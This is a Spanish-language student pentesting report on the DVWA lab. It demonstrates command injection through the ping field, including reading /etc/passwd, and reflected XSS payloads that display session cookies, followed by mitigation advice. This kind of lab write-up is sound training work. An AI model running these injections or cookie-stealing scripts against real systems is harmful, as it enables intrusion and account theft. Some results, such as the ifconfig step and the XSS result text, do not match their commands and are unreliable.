

Proyecto de Explotación en Pentesting en un Sitio Web Vulnerable

Estudiante: Eric Grossermann

Fecha De Entrega: 11/10/25

Formato del Reporte de Pentesting v2

- Introducción
 - En este ejercicio se realizara una inyección de comandos en una aplicación vulnerable (DVWA). Vamos a aprovechar la caja de “ping” para mostrar como una entrada no validada puede permitir ejecutar comandos del sistema en el servidor.

El objetivo es entender la vulnerabilidad, validar la explotacion y ver sus consecuencias (acceso a archivos, informacion del sistema).

Objetivo: demostrar como una entrada insegura puede convertirse en ejecucion remota de comandos y aprender medidas basicas de mitigacion.

-
- Metodología

- Preparo el laboratorio: arranco Debian, levanto DVWA y pongo security en low.
- Pruebo la pagina: hago un ping a 8.8.8.8 para ver si responde.
- Intento la inyeccion: meto "8.8.8.8 ; whoami" y veo la salida.
- Exploro: con ls, cat y ifconfig reviso archivos y configuracion.
- Guardo todo: capturo pantalla y pego resultados en un documento.
- Validar la entrada, sanear caracteres y usar funciones seguras.

Herramientas y Tecnicas utilizadas

- Debian, navegador y DVW
- Terminal (bash) y comandos basicos (whoami, ls, cat, ifconfig, ping)
- Documentacion con capturas
- Tecnicas: reconocimiento, manipulacion de input, explotacion manual, recoleccion de evidencia y recomendaciones de mitigacion

-
- Resultados

PARTE 1: Reconocimiento y Preparación (DVWA)

Reconocimiento y Preparación

1._Escribir:

8.8.8.8 (DNS de Google) a "Submit".

Vulnerability: Command Injection

Ping a device

Enter an IP address: Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.  
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=54.2 ms  
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=31.5 ms  
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=30.3 ms  
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=31.6 ms  
  
--- 8.8.8.8 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3003ms  
rtt min/avg/max/mdev = 30.324/36.880/54.155/9.985 ms
```

Resultado:

El servidor esta tomando lo que escribimos en la caja y se lo está pasando a la terminal del sistema operativo sin una posible “Validacion”

Validación y Explotación

2._Comando:

8.8.8.8 ; whoami

Ping a device

Enter an IP address: Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.  
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=33.4 ms  
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=30.2 ms  
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=41.9 ms  
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=31.0 ms  
  
--- 8.8.8.8 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3006ms  
rtt min/avg/max/mdev = 30.200/34.118/41.936/4.662 ms  
www-data
```

Resultado:

Nos refleja: www-data

Que es el nombre del usuario con el que corre el servidor web Apache.

Listar archivos

3._Comando:

8.8.8.8 ; ls -la

Ping a device

Enter an IP address: Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.  
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=34.6 ms  
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=60.7 ms  
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=31.4 ms  
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=33.8 ms  
  
--- 8.8.8.8 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3005ms  
rtt min/avg/max/mdev = 31.400/40.123/60.701/11.938 ms  
total 20  
drwxr-xr-x 4 www-data www-data 4096 Nov 10 21:41 .  
drwxr-xr-x 21 www-data www-data 4096 Nov 10 21:41 ..  
drwxr-xr-x 2 www-data www-data 4096 Nov 10 21:41 help  
-rwxr-xr-x 1 www-data www-data 1829 Nov 10 21:41 index.php  
drwxr-xr-x 2 www-data www-data 4096 Nov 10 21:41 source
```

Resultado:

Refleja una lista de todos los archivos en el directorio actual del servidor web.

Ver la configuración de red

4._Comando:

8.8.8.8 ; ifconfig

Ping a device

Enter an IP address: Submit

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.  
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=27.7 ms  
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=40.9 ms  
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=39.5 ms  
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=43.0 ms  
  
--- 8.8.8.8 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3005ms  
rtt min/avg/max/mdev = 27.665/37.775/42.953/5.962 ms
```

Resultado:

Refleja la salida de ifconfig del servidor.

Leer un archivo sensible:

5._Comando:

8.8.8.8 ; cat /etc/passwd

Ping a device

Enter an IP address:

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=23.7 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=52.2 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=26.2 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=48.3 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 23.708/37.598/52.170/12.754 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
tss:x:101:103:TPM software stack:/var/lib/tpm:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:102:107:Avahi mDNS daemon:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:103:29:Speech Dispatcher:/run/speech-dispatcher:/bin/false
usbmux:x:104:46:usbmux daemon:/var/lib/usbmux:/usr/sbin/nologin
cups-pk-helper:x:105:108:user for cups-pk-helper service:/nonexistent:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
geoclue:x:106:110:/var/lib/geoclue:/usr/sbin/nologin
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
saned:x:107:111:/var/lib/saned:/usr/sbin/nologin
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
rtkit:x:108:112:RealtimeKit:/proc:/usr/sbin/nologin
colord:x:109:113:colord colour management daemon:/var/lib/colord:/usr/sbin/nologin
Debian-gdm:x:110:114:Gnome Display Manager:/var/lib/gdm3:/bin/false
eric:x:1000:1000:eric grossermann,,,:/home/eric:/bin/bash
mysql:x:111:115:MySQL Server:/nonexistent:/bin/false
```

Resultado:

La página te mostrará el contenido del archivo /etc/passwd del servidor, que lista a todos los usuarios del sistema

El servidor tomo lo que escribi y lo metio directamente en un comando de sistema sin comprobarlo.

Por eso al enviar 8.8.8.8 ; whoami se ejecuto primero el ping y luego whoami , la entrada no fue validada ni sanitizada, lo que permite inyeccion de comandos.

PARTE 2: XSS Reflejado en DVWA

Localizamos la sección de XSS (Reflected) para posteriormente llegar al:

Reconocimiento y Preparación

Donde el servidor recibe una petición de nombre donde suministraremos Grossermann

A screenshot of a web application interface. At the top, there is a text input field labeled "What's your name?" followed by a "Submit" button. Below the input field, the text "Hello Grossermann" is displayed in red, indicating it was反射 (reflected) from the user input.

Dando una respuesta del servidor con "Hello Grossermann"

Que pasaría si aplicamos código?

Explotación

1._Comando:

```
<script>alert('¡Hackeado!');</script>
```



Resultado:

No refleja "Hello...", sino que mostrará una ventana emergente (pop-up) con el texto "¡Hackeado!"

PARTE 3: Explotación (El Ataque "Real": Robar Cookies)

1._Comando:

```
<script>alert(document.cookie);</script>
```



Resultado:

El servidor hizo el ping y luego ejecutó el comando que agregamos.

No comprobó que lo que escribimos fuera solo una IP, por eso pudimos meter otro comando mostrando una ventana emergente : PHPSESSID=a1b2c3d4e5f6g7h8...; security=low

El Vector de Ataque

3._Comando:

[http://10.0.1.13/dvwa/vulnerabilities/xss_r/?name=<script>alert\(document.cookie\)</script>](http://10.0.1.13/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>)

The screenshot shows a web form with a single input field and a submit button. The input field contains the value "t(docume nt.cookie)</script>". Below the form, the page output is displayed in red text, showing the result of the injected script: "Hello http://10.0.1.13/dvwa/vulnerabilities/xss_r/?name=". This demonstrates that the user input was executed as JavaScript, leaking the cookie information.

El navegador vio el codigo `<script>` y lo ejecuto porque penso que era parte normal de la pagina.

- Mitigación

Para evitar lo sucedido hay que hacer lo siguiente, facil y directo:

1. No aceptar cualquier cosa que ponga el usuario. Si piden una IP, comprobar que tenga formato de IP y punto.
2. Antes de mandar la entrada al sistema hay que Codificación de Salida (Output Encoding) Antes de "reflejar" la entrada del usuario, el servidor debe "neutralizar" los caracteres especiales de HTML.
3. Usar una función que ponga la entrada entre comillas (ej. `escapeshellarg()` en PHP) para que el sistema la trate como texto y no como comandos.
4. Pon al servicio con un usuario que no tenga permisos importantes. Si algo falla, que lo maximo que haga sea listar un directorio sin acceso a todo el server.
5. Logs y alertas: guarda todo lo que entre y pon alertas si alguien intenta meter caracteres raros o muchos comandos seguidos.
6. Mantener el servidor y el software al dia y limitar qué servicios estan expuestos a la red. Con eso, la probabilidad de que te injeten comandos baja muchisimo.

- Conclusión

La vulnerabilidad permite que la aplicación ejecute comandos del servidor, lo que puede llevar a leer archivos sensibles, obtener acceso al sistema y escalar a otros ataques.

En prácticas como esta se ve claro que un fallo small en validar input puede convertirse en un control total sobre la máquina.

La lección es simple: validar y sanitizar todo, reducir privilegios y monitorear, hacerlo en un lab como DVWA nos ayuda a entender el riesgo sin dañar a nadie.